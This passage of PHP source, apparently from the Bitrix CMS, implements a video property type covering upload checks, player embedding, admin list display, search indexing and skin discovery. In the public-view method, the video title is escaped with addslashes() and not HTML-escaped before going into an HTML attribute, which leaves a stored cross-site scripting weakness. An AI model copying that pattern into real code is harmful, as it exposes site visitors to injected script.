elseif (!is_uploaded_file($val["FILE"]["tmp_name"]))
$arErrors[] = GetMessage("IBLOCK_PROP_VIDEO_UPLOAD_ERROR");
else
{
$quota = new CDiskQuota();
if (!$quota->checkDiskQuota(array("FILE_SIZE" => $val["FILE"]["size"])))
$arErrors[] = GetMessage("IBLOCK_PROP_VIDEO_QUOTE_ERROR")."\n";
}
}
}
return $arErrors;
}
public static function BaseGetAdminListViewHTML($val)
{
if (!is_array($val) || strlen($val["path"]) == 0)
return '';
return '<span style="white-space: nowrap;" title="'.htmlspecialcharsbx($val["path"]).'">'.GetMessage("IBLOCK_PROP_VIDEO").' ['.htmlspecialcharsex($val["path"]).']</span>';
}
public static function BaseGetPublicHTML($set, $val)
{
if (strlen($val["path"]) <= 0)
return '';
global $APPLICATION;
ob_start();
$title = strlen($val['title']) > 0 ? $val['title'] : "";
?>
<div title="<?= addslashes($title)?>">
<?$APPLICATION->IncludeComponent(
"bitrix:player",
"",
array(
"PLAYER_TYPE" => "auto",
"PATH" => $val["path"],
"WIDTH" => $val['width'],
"HEIGHT" => $val['height'],
"FILE_TITLE" => $val['title'],
"FILE_DURATION" => intVal($val['duration']),
"FILE_AUTHOR" => $val['author'],
"FILE_DATE" => $val['date'],
"FILE_DESCRIPTION" => $val['desc'],
"SKIN_PATH" => CIBlockPropertyVideo::GetSkinPath(),
"SKIN" => $set["SKIN"],
"CONTROLBAR" => $set["CONTROLBAR"],
"WMODE" => $set["WMODE_FLV"],
"WMODE_WMV" => $set["WMODE_WMV"],
"SHOW_CONTROLS" => $set["CONTROLBAR"] != 'none' ? "Y" : "N",
"CONTROLS_BGCOLOR" => $set["CONTROLS_BGCOLOR"],
"CONTROLS_COLOR" => $set["CONTROLS_COLOR"],
"CONTROLS_OVER_COLOR" => $set["CONTROLS_OVER_COLOR"],
"SCREEN_COLOR" => $set["SCREEN_COLOR"],
"AUTOSTART" => $set["AUTOSTART"],
"VOLUME" => $set["VOLUME"],
"ADDITIONAL_FLASHVARS" => $set["FLASHVARS"],
"BUFFER_LENGTH" => $set["BUFFER_LENGTH"],
"ADDITIONAL_WMVVARS" => $set["SILVERVARS"],
"ALLOW_SWF" => "N",
"LOGO_POSITION" => "none"
),
$APPLICATION->getCurrentIncludedComponent(),
array('HIDE_ICONS' => 'Y')
); ?>
</div>
<?
$s = ob_get_contents();
ob_end_clean();
return $s;
}
public static function BaseOnSearchContent($val)
{
$str = "";
if (strlen($val['path']) > 0)
{
if (strlen($val['title']) > 0)
$str .= $val['title']." \n";
if (strlen($val['author']) > 0)
$str .= $val['author']." \n";
if (strlen($val['desc']) > 0)
$str .= $val['desc']." \n";
}
return $str;
}
public static function CheckFileInUploadDir($path = '')
{
$pathToDir = CVideoProperty::GetUploadDirPath();
return substr($path, 0, strlen($pathToDir)) == $pathToDir;
}
public static function GetUploadDirPath()
{
return "/upload/video/";
}
public static function GetSkinPath()
{
return "/bitrix/components/bitrix/player/mediaplayer/skins";
}
}
if (!function_exists('getSkinsEx'))
{
function getSkinsEx($path)
{
$basePath = $_SERVER["DOCUMENT_ROOT"].Rel2Abs("/", $path);
$arSkins = Array();
if (!is_dir($basePath)) // Not valid folder
return $arSkins;
$arSkins = getSkinsFromDir($path);
$handle = @opendir($basePath);
while(false !== ($skinDir = @readdir($handle)))
{
if(!is_dir($basePath.'/'.$skinDir) || $skinDir == "." || $skinDir == ".." )
continue;
$arSkins = array_merge($arSkins,getSkinsFromDir($path.'/'.$skinDir));
}
return $arSkins;
}
function getSkinsFromDir($path) //http://jabber.bx/view.php?id=28856
{
$basePath = $_SERVER["DOCUMENT_ROOT"].Rel2Abs("/", $path);
$arSkinExt = array('swf', 'zip', 'css');
$arPreviewExt = array('png', 'gif', 'jpg', 'jpeg');
$prExtCnt = count($arPreviewExt);
$arSkins = Array();
$handle = @opendir($basePath);
while(false !== ($f = @readdir($handle)))
{
if($f == "." || $f == ".." || $f == ".htaccess" || !is_file($basePath.'/'.$f))
continue;
$ext = strtolower(GetFileExtension($f));
if (in_array($ext, $arSkinExt)) // We find skin
{
$name = substr($f, 0, - strlen($ext) - 1); // name of the skin
if (strlen($name) <= 0)
continue;
if (strpos($name, '.min') !== false)
continue;
$Skin = array('filename' => $f);
$Skin['name'] = strtoupper(substr($name, 0, 1)).strtolower(substr($name, 1));
$Skin['the_path'] = $path;
// Try to find preview
for ($i = 0; $i < $prExtCnt; $i++)
{
if (file_exists($basePath.'/'.$name.'.'.$arPreviewExt[$i]))
{
$Skin['preview'] = $name.'.'.$arPreviewExt[$i];
break;
}
}
$arSkins[] = $Skin;
}
}
return $arSkins;
}
}
// ### Iblock property ###
class CIBlockPropertyVideo extends CVideoProperty
{
public static function GetUserTypeDescription()
{
return array(
"PROPERTY_TYPE" => "S",
"USER_TYPE" => "video",
"DESCRIPTION" => GetMessage("IBLOCK_PROP_VIDEO"),
"GetPropertyFieldHtml" => array(__CLASS__, "GetPropertyFieldHtml"),
"GetPublicViewHTML" => array(__CLASS__, "GetPublicViewHTML"),
"ConvertToDB" => array(__CLASS__, "ConvertToDB"),
"ConvertFromDB" => array(__CLASS__, "ConvertFromDB"),
"CheckFields" => array(__CLASS__, "CheckFields"),
"GetSearchContent" => array(__CLASS__, "GetSearchContent"),
"GetSettingsHTML" => array(__CLASS__, "GetSettingsHTML"),
"PrepareSettings" => array(__CLASS__, "PrepareSettings"),
"GetAdminListViewHTML" => array(__CLASS__, "GetAdminListViewHTML"),
"GetLength" => array(__CLASS__, "GetLength"),
);
}
public static function GetPropertyFieldHtml($arProperty, $value, $strHTMLControlName)
{
$dbVal = CUserTypeVideo::BaseConvertToDB($value["VALUE"]);
$val = CUserTypeVideo::BaseConvertFromDB($dbVal);
return CIBlockPropertyVideo::BaseGetEditFormHTML($arProperty["USER_TYPE_SETTINGS"], $val, $strHTMLControlName["VALUE"], $strHTMLControlName["MODE"]);
}
public static function GetAdminListViewHTML($arProperty, $value, $strHTMLControlName)
{
return CIBlockPropertyVideo::BaseGetAdminListViewHTML($value["VALUE"]);
}
public static function GetPublicViewHTML($arProperty, $value, $strHTMLControlName)
{
$pathExist = (isset($value['VALUE']['path']) && $value['VALUE']['path'] != '');
if (isset($strHTMLControlName['MODE']) && $strHTMLControlName['MODE'] == 'CSV_EXPORT')
return ($pathExist ? $value['VALUE']['path'] : '');
elseif (isset($strHTMLControlName['MODE']) && $strHTMLControlName['MODE'] == 'SIMPLE_TEXT')
return ($pathExist ? $value['VALUE']['path'] : '');
else
return CIBlockPropertyVideo::BaseGetPublicHTML($arProperty["USER_TYPE_SETTINGS"], $value["VALUE"]);
}
public static function ConvertFromDB($arProperty, $value)
{
$value['VALUE'] = CIBlockPropertyVideo::BaseConvertFromDB($value['VALUE']);
return $value;
}
public static function ConvertToDB($arProperty, $value)
{
return CIBlockPropertyVideo::BaseConvertToDB($value["VALUE"]);
}
public static function CheckFields($arProperty, $value)
{
return CIBlockPropertyVideo::BaseCheckFields($value["VALUE"]);
}
public static function GetLength($arProperty, $value)
{
if(
is_array($value)
&& array_key_exists("VALUE", $value)
&& is_array($value["VALUE"])
)
{
if(
array_key_exists("PATH", $value["VALUE"])
&& strlen(trim($value["VALUE"]["PATH"])) > 0
)
return 1;
if(
array_key_exists("FILE", $value["VALUE"])
&& is_array($value["VALUE"]["FILE"])
&& $value["VALUE"]["FILE"]["error"] === 0
)
return 1;
if(
array_key_exists("CUR_PATH", $value["VALUE"])
&& strlen(trim($value["VALUE"]["CUR_PATH"]))
&& !($value["VALUE"]["B_NEW_FILE"] === "Y" && $value["VALUE"]["DEL_CUR_FILE"] === "Y")
)
return 1;
}
return 0;
}
public static function PrepareSettings($arProperty)
{
$arResult = CUserTypeVideo::BasePrepareSettings($arProperty, "USER_TYPE_SETTINGS");
$arFields['SMART_FILTER'] = 'N';
$arFields['FILTRABLE'] = 'N';
$arFields['USER_TYPE_SETTINGS'] = $arResult;
return $arFields;
}
public static function GetSettingsHTML($arProperty, $strHTMLControlName, &$arPropertyFields)
{
$arPropertyFields = array(
"HIDE" => array("FILTRABLE", "ROW_COUNT", "COL_COUNT", "DEFAULT_VALUE", "SMART_FILTER"), //will hide the field
"SET" => array("FILTRABLE" => "N", "SMART_FILTER" => "N"), //if set then hidden field will get this value
"USER_TYPE_SETTINGS_TITLE" => GetMessage("IBLOCK_PROP_VIDEO_SET_NAME")
);
$arSettings = CIBlockPropertyVideo::PrepareSettings($arProperty);
if (isset($arSettings['USER_TYPE_SETTINGS']))
$arSettings = $arSettings['USER_TYPE_SETTINGS'];
return CIBlockPropertyVideo::BaseGetSettingsHTML($strHTMLControlName["NAME"], $arSettings);
}
public static function GetSearchContent($arProperty, $value, $strHTMLControlName)
{
return CIBlockPropertyVideo::BaseOnSearchContent($value["VALUE"]);
}
}
// ### UserType for main module ###
class CUserTypeVideo extends CVideoProperty
{
public static function GetUserTypeDescription()
{
return array(
"USER_TYPE_ID" => "video",
"CLASS_NAME" => "CUserTypeVideo",
"DESCRIPTION" => GetMessage("IBLOCK_PROP_VIDEO"),
"BASE_TYPE" => "string"
);
}
public static function GetDBColumnType($arUserField)
{
global $DB;
switch(strtolower($DB->type))
{
case "mysql":
return "text";
case "oracle":
return "varchar2(2000 char)";
case "mssql":
return "varchar(2000)";
}
}
public static function PrepareSettings($arProperty)
{
return CUserTypeVideo::BasePrepareSettings($arProperty, "SETTINGS");
}
public static function GetSettingsHTML($arUserField = array(), $arHtmlControl, $bVarsFromForm)
{
if(!is_array($arUserField))
$arUserField = array();
$arUserField["SETTINGS"] = $bVarsFromForm ? $GLOBALS[$arHtmlControl["NAME"]] : CUserTypeVideo::PrepareSettings($arUserField);
return CUserTypeVideo::BaseGetSettingsHTML($arHtmlControl["NAME"], $arUserField["SETTINGS"]);
}
public static function GetEditFormHTML($arUserField, $arHtmlControl)
{
$val = CUserTypeVideo::BaseConvertFromDB(htmlspecialcharsback($arHtmlControl["VALUE"])); // Unserialize array
return CUserTypeVideo::BaseGetEditFormHTML($arUserField["SETTINGS"], $val, $arHtmlControl["NAME"]);
}
public static function OnBeforeSave($arUserField, $value)
{
return CUserTypeVideo::BaseConvertToDB($value);
}
public static function GetAdminListViewHTML($arUserField, $arHtmlControl)
{
$val = CUserTypeVideo::BaseConvertFromDB(htmlspecialcharsback($arHtmlControl["VALUE"])); // Unserialize array
return CUserTypeVideo::BaseGetAdminListViewHTML($val);
}
public static function CheckFields($arUserField, $value)
{
return CUserTypeVideo::BaseCheckFields($value);
}
public static function OnSearchIndex($arUserField)
{
return CIBlockPropertyVideo::BaseOnSearchContent($arUserField["VALUE"]);
}
public static function GetPublicViewHTML($arUserField, $arHtmlControl)
{
$val = CUserTypeVideo::BaseConvertFromDB(htmlspecialcharsback($arHtmlControl["VALUE"])); // Unserialize array
return CUserTypeVideo::BaseGetPublicHTML($arUserField["SETTINGS"], $val);
}
}